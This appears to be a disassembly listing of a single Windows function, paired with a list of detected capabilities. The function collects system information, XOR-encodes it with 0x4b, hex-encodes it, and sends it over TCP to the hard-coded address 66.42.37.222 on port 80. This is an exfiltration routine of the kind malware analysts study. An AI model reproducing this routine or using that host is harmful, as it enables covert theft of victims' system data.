Function at 0x4018e0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Encode data using xor
Initialize winsock library
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
mov eax, 0x301cc
call fcn.004125e0
mov eax, dword [0x41a004]
xor eax, esp
mov dword [esp + 0x301c8], eax
push esi
push 0xffff
lea eax, [esp + 0x1cc]
push 0
push eax
call fcn.004029e0
add esp, 0xc
lea ecx, [esp + 0x1c8]
call fcn.00401090
lea esi, [esp + 0x1c8]
lea ecx, [esi + 1]
nop dword [eax]
mov al, byte [esi]
inc esi
test al, al
jne 0x401930
lea eax, [esp + 0x1c8]
sub esi, ecx
push eax
push str.Collected_System_Info:_n_s_n
call fcn.00401010
movaps xmm1, xmmword [0x418e20]
add esp, 8
xor ecx, ecx
test esi, esi
jle 0x4019ed
cmp esi, 0x40
jb 0x4019e0
mov eax, esi
and eax, 0x8000003f
jns 0x401972
dec eax
or eax, 0xffffffc0
inc eax
mov edx, esi
sub edx, eax
nop word [eax + eax]
movups xmm0, xmmword [esp + ecx + 0x1c8]
pxor xmm0, xmm1
movups xmmword [esp + ecx + 0x1c8], xmm0
movups xmm0, xmmword [esp + ecx + 0x1d8]
pxor xmm0, xmm1
movups xmmword [esp + ecx + 0x1d8], xmm0
movups xmm0, xmmword [esp + ecx + 0x1e8]
pxor xmm0, xmm1
movups xmmword [esp + ecx + 0x1e8], xmm0
movups xmm0, xmmword [esp + ecx + 0x1f8]
pxor xmm0, xmm1
movups xmmword [esp + ecx + 0x1f8], xmm0
add ecx, 0x40
cmp ecx, edx
jl 0x401980
cmp ecx, esi
jge 0x4019ed
nop dword [eax + eax]
xor byte [esp + ecx + 0x1c8], 0x4b
inc ecx
cmp ecx, esi
jl 0x4019e0
push 0x1fffe
lea eax, [esp + 0x101cc]
push 0
push eax
call fcn.004029e0
movups xmm0, xmmword [str.0123456789ABCDEF]
mov al, byte [0x418b0c]
add esp, 0xc
xor edx, edx
mov byte [esp + 0x1b0], al
movups xmmword [esp + 0x1a0], xmm0
test esi, esi
jle 0x401a66
nop word [eax + eax]
mov cl, byte [esp + edx + 0x1c8]
movzx eax, cl
shr eax, 4
movzx eax, byte [esp + eax + 0x1a0]
mov byte [esp + edx*2 + 0x101c8], al
movsx eax, cl
and eax, 0xf
movzx eax, byte [esp + eax + 0x1a0]
mov byte [esp + edx*2 + 0x101c9], al
inc edx
cmp edx, esi
jl 0x401a30
lea eax, [esp + 0x101c8]
mov byte [esp + esi*2 + 0x101c8], 0
push eax
push str.Hex_Encoded_Data:_n_s_n
call fcn.00401010
add esp, 8
lea eax, [esp + 0x10]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x401ac0
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push str.Failed_to_initialize_Winsock._Error_Code:__d_n
call fcn.00401010
add esp, 8
xor eax, eax
pop esi
mov ecx, dword [esp + 0x301c8]
xor ecx, esp
call fcn.00401bb5
mov esp, ebp
pop ebp
ret
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
jne 0x401aec
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push str.Could_not_create_socket._Error_Code:__d_n
call fcn.00401010
add esp, 8
jmp 0x401b9a
mov eax, 2
push 0x50
mov word [esp + 0x1a4], ax
call dword [sym.imp.WS2_32.dll_htons]
push str.66.42.37.222
mov word [esp + 0x1a6], ax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [esp + 0x1a4], eax
lea eax, [esp + 0x1a0]
push 0x10
push eax
push esi
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
jns 0x401b46
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push str.Connection_failed._Error_Code:__d_n
call fcn.00401010
add esp, 8
jmp 0x401b93
lea ecx, [esp + 0x101c8]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401b50
push 0
sub ecx, edx
lea eax, [esp + 0x101cc]
push ecx
push eax
push esi
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x401b86
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push str.Send_failed._Error_Code:__d_n
call fcn.00401010
add esp, 8
jmp 0x401b93
push str.Data_sent_successfully._n
call fcn.00401010
add esp, 4
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov ecx, dword [esp + 0x301cc]
xor eax, eax
pop esi
xor ecx, esp
call fcn.00401bb5
mov esp, ebp
pop ebp
ret